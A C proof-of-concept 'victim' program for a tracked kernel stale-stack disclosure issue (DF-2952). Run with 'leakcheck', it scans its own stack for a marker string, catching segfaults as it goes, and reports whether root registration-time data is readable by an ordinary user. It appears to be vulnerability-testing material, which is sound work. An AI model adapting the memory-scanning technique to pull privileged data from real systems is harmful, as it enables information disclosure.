DF-2952 / victim.c
/* * DF-2952 PoC - victim program for resident-exec stale-stack disclosure. * v2: logs hit addresses and scan stop, scans below SP too. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <setjmp.h> #include <unistd.h> #include <stdint.h> #define MARKER "DF2952MARKER" #define MARKLEN 12 #define USRSTACK_TOP 0x7ffffffff000UL /* pc64: USRSTACK == VM_MAX_USER_ADDRESS */ static sigjmp_buf scan_jb; static volatile void *fault_addr; static void segv_handler(int sig, siginfo_t *si, void *ctx) { fault_addr = si ? si->si_addr : NULL; siglongjmp(scan_jb, 1); } static unsigned long scan_range(char *lo, char *hi, int verbose) { char *p; unsigned long hits = 0; for (p = lo; p + MARKLEN < hi; p++) { if (((uintptr_t)p & 0xFFF) == 0) { if (sigsetjmp(scan_jb, 1) != 0) { printf("scan: stopped at fault %p (range %p-%p)\n", fault_addr, lo, hi); return hits; } } if (memcmp(p, MARKER, MARKLEN) == 0) { hits++; if (verbose || hits <= 24) printf("scan: HIT #%lu at %p: %.48s\n", hits, p, p); p += MARKLEN; } } return hits; } int main(int argc, char **argv) { char *sp; unsigned long up = 0, down = 0; struct sigaction sa; if (argc < 2 || strcmp(argv[1], "leakcheck") != 0) return (0); memset(&sa, 0, sizeof(sa)); sa.sa_handler = segv_handler; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); sp = (char *)__builtin_frame_address(0); setvbuf(stdout, NULL, _IONBF, 0); printf("leakcheck: pid=%d uid=%d sp=%p\n", getpid(), getuid(), sp); /* scan upward from current SP toward USRSTACK (strings area) */ up = scan_range(sp, (char *)USRSTACK_TOP - 64, 1); /* scan downward too (older/deeper registration frames) */ down = scan_range(sp - (256*1024), sp, 1); printf("leakcheck: hits above SP: %lu, below SP: %lu, total %lu\n", up, down, up + down); if (up + down > 0) { printf("RESULT: LEAK - registration-time (root) stack data " "readable by uid %d\n", getuid()); return (42); } printf("RESULT: no leaked markers found\n"); return (0); } |